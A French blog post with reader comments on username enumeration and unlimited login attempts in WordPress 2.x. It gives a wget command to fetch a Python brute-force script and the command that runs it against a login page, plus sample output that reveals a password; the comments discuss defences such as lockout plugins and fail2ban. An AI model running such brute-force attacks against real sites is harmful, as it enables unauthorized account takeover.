WordPress 2.x Brute Force Attack
Voilà quelque chose d'assez surprenant : depuis 2007, plusieurs problèmes de sécurité non corrigés touchent les versions de WordPress 2.x. En effet, il est tout à fait possible de vérifier si un compte administrateur existe bien, pour ensuite lancer une attaque de type Brute Force. Les développeurs ont bien entendu été informés de ce problème plusieurs fois, mais ils ne semblent pas y attacher une grande importance.
Voici comment tout ceci fonctionne. Pour vérifier qu'un compte utilisateur ou administrateur existe, il suffit de se rendre sur l'interface d'admin de WordPress :
http://victime.com/wp-admin
Saisissez ensuite un identifiant (ex: admin) et un mot de passe bidon (ex: test). Si le message d'erreur suivant apparaît, cela veut dire que le compte n'existe pas:
L'identifiant n'est pas valide (Invalid username en anglais)
Tandis que celui-ci confirmera que l'utilisateur est bien valide :
Mot de passe incorrect (Incorrect password en anglais)
Le deuxième problème de sécurité réside dans le fait, que pour une installation par défaut de WordPress, le nombre de tentatives d'authentification n'est pas limité. A partir de là, il est donc assez facile de réaliser une attaque par Brute Force.
Voici un exemple d'utilisation avec un script écrit en python :
$ wget www.tux-planet.fr/public/hack/bruteforce/wordpress-2.x-bruteforce.py
$ python wordpress-2.x-bruteforce.py http://cible/wp-login.php admin 1 password.txt
[+] Testing : 1025
[+] Testing : plop
[+] Testing : plip
[+] Testing : demo
[!] Password is : demo
Le seul moyen aujourd'hui pour vous protéger contre ce type d'attaque est d'utiliser un compte administrateur différent de "admin". On pourra également installer un plugin comme User Locker qui permet de limiter le nombre de tentatives d'authentification.
21 Commentaires pour "WordPress 2.x Brute Force Attack"
Flux des commentaires de cet article Ajouter un commentaireHello,
Et deux autres astuces :
Certains choisissent aussi de déplacer l'adresse de login ou le renomme (mais on mets les mains dans le camboui informatique de WP et c'est pas top pour les mises à jour).
D'autres empêchent les connexions qui ne proviennent pas de leur IP.
Mouais enfin une attaque bruteforce si ton password ne ressemble pas à "coucou", "demo", "admin" ou "password" mais plutôt à "efcdner@6è(3" il va falloir attendre un peu
@Xavier : c'est certain qu'un bon mot de passe sera toujours la base en terme de sécurité !
Comme le dit Xavier ici c'est pas une attaque en brute force, c'est une attaque de type dictionnaire, c'est le même principe sauf que tu ne teste qu'une liste de mots.
Parce que pour faire un brute force déjà en local on arrive vite à plusieurs siècles selon la taille du mot de passe alors via http faut pas être pressé!
bref un bon mot de passe avec des caractères spéciaux et y'a aucun pb!
En fait la première faille de sécurité elle est entre le clavier et la chaise!
@bibitte : oui en faite dans l'exemple j'utilise la méthode par dictionnaire, celle que je préfère. Mais en faite, le script permet aussi de faire une attaque par bruteforce, il suffit d'utiliser l'option n°2 avec les bons arguments.
Reste que cette seconde méthode est sûrement moins efficace, à moins d'être immortel et d'avoir du temps devant soi.
bin avec la méthode 1 c'est pareil, il faut un bon wordlist.txt ...
Question : pourquoi avoir choisi python pour ce type d'attaque, qui demande énormément de rapidité de calcul ?
C ne serait-il pas plus approprié ?
@inalgnu : c'est le seul script de brute force pour WordPress que j'ai trouvé. Je l'ai modifié un peu. Mais en langage C il aurait été plus rapide c'est sûr.
En effet je vais corriger ça tout de suite !
@pti-seb: Même avec un dictionnaire une attaque de type "brute force" c'est du "brute force"
C'est une très bonne chose de rappeler les bases de la sécu mais j'aimerais (r)ajouter que ça ne s'arrête pas a WP... les auths http et pleins d'autres script php sont vulnérable a ce type d'attaques.
Une des approche pour sécuriser la chose c'est un fail2ban like qui parse les logs du serveur/banni l IP de l'attaquant (via iptables/pf).
@inalgnu: Je pense que ici le facteur réseau et la rapidité du serveur a traiter les requêtes l'autre bout sera plus important que la différence C et python. Mais c'est juste un avis personnel.. je n'ai pas fait de benchs.
tu pourrais uploader le script python ? si ce n'est pas ça : http://securityvulns.ru/files/float.py ?
merci
@ly3s : c'est dans le billet: "wget tux-planet.fr/.../wordpress-2.x-bruteforce.py"
Oups xD merci l'ami
@ly3s @crashdump.fr : surtout que celui que je propose est modifié pour fonctionner avec les versions fr de WordPress.
Personnelement je préfère login lockdown.
Je l'utilise pour mon site web.
Avec la méthode 2 et 10 caractères on en aurai pour des années (en supposant que le login soit admin)
[-] User is : admin
[-] Number of characters are : 10
[+] Testing : aa
[+] Testing : aaa
[+] Testing : aaaa
[+] Testing : aaaaa
[+] Testing : aaaaaa
[+] Testing : aaaaaaa
[+] Testing : aaaaaaaa
[+] Testing : aaaaaaaaa
[+] Testing : aaaaaaaaaa
[+] Testing : aaaaaaaaab
[+] Testing : aaaaaaaaac
[+] Testing : aaaaaaaaad
[+] Testing : aaaaaaaaae
[+] Testing : aaaaaaaaaf
[+] Testing : aaaaaaaaag
[---snip---]
[+] Testing : aaaaaaaaay
[+] Testing : aaaaaaaaaz
[+] Testing : aaaaaaaaaA
[+] Testing : aaaaaaaaaB
[+] Testing : aaaaaaaaaC
[+] Testing : aaaaaaaaaD
Après il passe au majuscules aussi
@Fugitif : On en aura pour 3 nuits !
@ly3s : tu a tester avec le pass d'origine à l'installation de WordPress ? Il fait 12 caractères et avec des majuscules, minuscules et caractères spéciaux
@Fugitif : non, j'ai pas essayé avec ça mais avec un mot de passe de 14caractères. En tout cas, n'importe quel mot de passe peut être bruteforcé même si ça prendra plusieurs semaines !
Chez moi,
- password > 8 char,
- changement login admin par défaut
j'espère qu'il n'existe pas de méthode pour connaître le nom d'admin
en tout cas c'est bon à savoir
merci pour l'info !
Sebastien
@pti-seb : Je suis immortel, je peux le faire !